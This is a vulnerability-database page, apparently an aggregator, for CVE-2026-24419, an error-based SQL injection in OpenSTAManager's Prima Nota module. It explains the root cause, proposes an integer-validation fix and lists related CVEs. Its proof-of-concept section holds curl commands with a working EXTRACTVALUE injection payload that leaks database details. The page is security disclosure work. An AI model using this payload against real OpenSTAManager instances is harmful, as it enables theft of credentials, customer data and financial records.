Loading...
Skip to main content

CVE-2026-24419

HIGH

OpenSTAManager has a SQL Injection in the Prima Nota module

Published February 6, 2026Updated February 10, 2026Source: osv

Summary

### Summary Critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters. **Status:** ✅ Confirmed and tested on live instance (v2.9.8) **Vulnerable Parameters:** `id_documenti` (GET parameters) **Affected Endpoint:** `/modules/primanota/add.php` **Attack Type:** Error-Based SQL Injection (IN clause) ### Details OpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module's add.php file. The application fails to validate that comma-separated values from GET parameters are integers before using them in SQL IN() clauses, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages. **Vulnerability Chain:** 1. **Entry Point:** `/modules/primanota/add.php` (Lines 63-67) ```php $id_documenti = $id_documenti ?: get('id_documenti'); $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : []; ``` **Impact:** The `get()` function retrieves user-controlled URL parameters, `explode(',', (string) ...)` splits them by comma, but NO validation ensures elements are integers. 2. **SQL Injection Point:** `/modules/primanota/add.php` (Line 306) ```php $id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica']; ``` **Impact:** Array elements from `$id_documenti` are directly concatenated using `implode()` without type validation or `prepare()`, enabling full SQL injection. **Root Cause Analysis:** The vulnerability exists because: 1. `get('id_documenti')` return user-controlled strings 2. `explode(',', (string) $value)` splits by comma but doesn't validate types 3. `implode(',', $array)` concatenates array elements directly into SQL 4. No validation ensures array elements are integers 5. Attacker can inject SQL by providing: `?id_documenti=1) AND EXTRACTVALUE(...) %23` **Affected Code Path:** ``` GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD ↓ add.php:63 - $id_documenti = get('id_documenti') ↓ add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION] ↓ add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT] ``` ### PoC **Step 1: Login** ```bash curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \ -d 'username=admin&password=admin' ``` **Step 2: Verify Vulnerability (Error-Based SQL Injection)** **Test 1: Extract Database User and Version** ```bash curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23" ``` **Response (error message visible to attacker):** ```html <code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: &#039;~osm@172.18.0.3 | 8.3.0&#039;</code> ``` <img width="1231" height="405" alt="image" src="https://github.com/user-attachments/assets/1657b844-281a-431b-8472-c81e4d90bf64" /> ### Impact All authenticated users with access to the Prima Nota (Journal Entry) module. ### Recommended Fix **Primary Fix - Type Validation:** File: `/modules/primanota/add.php` **BEFORE (Vulnerable - Lines 63-67):** ```php $id_documenti = $id_documenti ?: get('id_documenti'); $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : []; ``` **AFTER (Fixed):** ```php $id_documenti = $id_documenti ?: get('id_documenti'); $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : []; // Validate that all array elements are integers $id_documenti = array_map('intval', $id_documenti); $id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs ``` ### Credits Discovered by Łukasz Rybak

Affected Packages (1)

PackageEcosystemAffectedFixed In
devcode-it/openstamanager
packagist
2.3.0, v2.4, v2.4.1, v2.4.10 (+83 more)Range-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Confidentiality
Integrity
Availability

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-24419?
OpenSTAManager has a SQL Injection in the Prima Nota module This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-24419?
CVE-2026-24419 affects devcode-it/openstamanager. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-24419 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-4j2x-jh4m-fqv6

Related CVEs

  • CVE-2025-69212
    CRITICAL

    OpenSTAManager has an OS Command Injection in P7M File Processing

  • CVE-2026-35168
    HIGH

    OpenSTAManager: SQL Injection via Aggiornamenti Module

  • CVE-2025-65103
    HIGH

    OpenSTAManager has Authenticated SQL Injection in API via 'display' parameter

  • CVE-2026-28805
    HIGH

    OpenSTAManager has a Time-Based Blind SQL Injection via `options[stato]` Parameter

  • CVE-2026-24417
    HIGH

    OpenSTAManager has a Time-Based Blind SQL Injection with Amplified Denial of Service

  • CVE-2026-24418
    HIGH

    OpenSTAManager has a SQL Injection vulnerability in the Scadenzario bulk operations module

  • CVE-2026-35470
    HIGH

    OpenSTAManager has a SQL Injection via righe Parameter in confronta_righe Modals

  • CVE-2026-24416
    HIGH

    OpenSTAManager has a Time-Based Blind SQL Injection in Article Pricing Module

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies